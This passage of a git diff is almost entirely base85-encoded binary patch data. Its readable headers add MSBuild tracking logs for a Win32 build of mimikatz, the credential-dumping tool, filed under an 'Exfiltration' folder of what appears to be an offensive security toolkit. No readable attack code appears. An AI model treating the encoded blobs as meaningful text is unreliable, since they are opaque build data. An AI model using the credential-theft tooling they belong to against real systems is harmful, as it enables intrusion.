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 MBj-R$%VYZd2g6*}EC2ui literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..f911a97a3e00a193ed96f91f1acb8a0457f9d7e0 GIT binary patch literal 62526 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 PFiE5H&vBZL$!Yo@F_SdR literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..8e0945c09a49017c4763a96e4783933267a7c4c0 GIT binary patch literal 44242 zcmeHQU2hvV5ae@#{)axc4-xDdNsGM6l58uHPJ&Ld9Ycu!NPc_UnWL_EB==-1vMdg8 zFkWi zo8z&-`-ix{#dYEC@rkdv`vI@<^(n4~c*hf7kMDeNmu}!Lj90e!U-@lU?oYhR?^^*6 ze=mS!fZx~di~Er|=5N6IT#e61LCl{dFwdYT_t1X(FHg@ht!&w?ygj2l3q)Lg zcdxBuCG6N7US?BSH+5Mi$jNOmJ2QCyp}5y9pO{Uq zbfT4eV{VqaE3J`Mj%#(JSgy(uw0s1QrKB&lcb!&y2QB295f9^=N3qPfYUHvO%eeZu zYK)!ygCuh9K!!M*9Ye=U?0b1OtHLxWv9G-Z_6rI7t;6Bq8eBpbG|q}2pu1CGrT#Xj zm%qAS;2+8P@)61{;&0}te#4oL&mfj~{yXgY-|mz9W5?1WLxCKu1>UvB>m|PXD}L9E zt$Lkrp?QBn>n`w}Tf`639iNQ(BF_)-_s)TWd)50L4l>LJJACKBvccFf3vg~6KGx$N z?A%Bi4$QfckXJE-*E+w(K47iYE5{y{9C@4Z3B>@~MH|$tvpi9!oThpYp@+QIUC)@+ z!{6p(X`qi!;Z;zFoGcC0*15U{a*LOxf}EqCW}7w8+xcc4>|w@P1$UTpRzcmBb=JY3 zvL`gKTbXAaJ?>qR5MQ2 z3bHF$bZ193r)(lvg9pISC6l}QQO_8^2R(zbRV-q^F|!HkM2A?7Sw7_GV z1$GSol-2GfzL|K)MqT4M^HvL7T~@qj_7}Vd({&5fM7G6qaz5GdW7guL9fRU97VHKX z$)9*z-svGDQS)*A;|Pr0c{MZsy3yEU#^e}0d7xQ9KgQ4)vZ9$2dE5CqOlQ1*Wao|9 z2^hME%vHULxVo_O$QjSNBnCvI<{wJb!NiIc3zF^ z7N33k|I>{uIrm3x+vNJJD(7y8U9n#7n61+_9n8(yTF#j1f%<-~j8jh0NjcurD_DyZ zbKlSPbo!CjK7rX(RtMpFihBcm%xn<1kq#r{)dRhd-1$6<^g&Dlx$KALiLvwd{s zNx43nve--?RatCCjIJ~(A4XLcn+>BXP0EGQl;kx`7*)yAnlw#GY!-})ELMfR0(QH; zUIlqrU9W*UtgY9;+*Mhxf?hL>k6~JdBmN1S_)U2fQVB^e_~CKi9O= zu8;Nley;8A!%F>J-){|bRLCms;uYuFqcuFo>O0G_{$X3yH=Kqy_!2LyVOZy>FDd>u zGfV@0%negP-FKFqfNjQ;ocCCxeP>z!*MsRH-gDgT%(uoGCH64)t%5tueygDF%75$N zPcz^e*sUD64)Qb$u7W*1`PV=mXTnubr>FQT$eV1q24XuOu7rJmMm%pxtlHPS5zi58 zvHGMwImsPuoM}<`OEO_s*^eS)9indPb#vDcpIb@mV%l|hD%##9i&f*JIxk_BkE#?_ zosY6C?Mfe2IjpKmRat1y*l(rph1;AEv75?yvTLb#>8_4Z)i{6VH>z|_Z5Nczk6j_7 zIya1hz2>va8GAx8GoT*TFdNqQ!d=0}*Jt24SvbEhFVInI2>vVk#VPE)x-0%IHms^W zcufV6u57B=!_*7eRX};qOjm!jyiwboyYj}|_rg6TBOztg=B*7c@oK|Nf8Psti;DBL literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..4395a0c310deecc8a78386a3ff613a072d90ed30 GIT binary patch literal 19942 zcmeHP+isgc5S`~p{ghZqtLC9^1XG*DV8r4$sjTKl`t5DcS%T6+c;s@VktIhgwlljk zbLO&V`SbgyrS{D(wzJ$C+uOo#Nj7-Dw+H*Ra+zNs z>uX$}uYxk)NyvPFojk!Z0$!Db#0C6;wyj{reUH_YxsLX+X0#}PXj@=K3WR%s9XGhv zSnHwO3FOaZr7sZyl~#TaG+}JklDWlfC7FrX55SQWzNsWPGc=+LaYak+|FcJ3Z0yI- zS0H_B|IDhjb&}b4`8g0lOX!4^jkY!vW5Lin==W`X8Gu`5tRB@hqZ>W?C`^5oF`s5% zAbZo4w%?SnvmIulm2(e0r$UrxWXU6z?d0){^Eo2pYO8x~8wOInTr 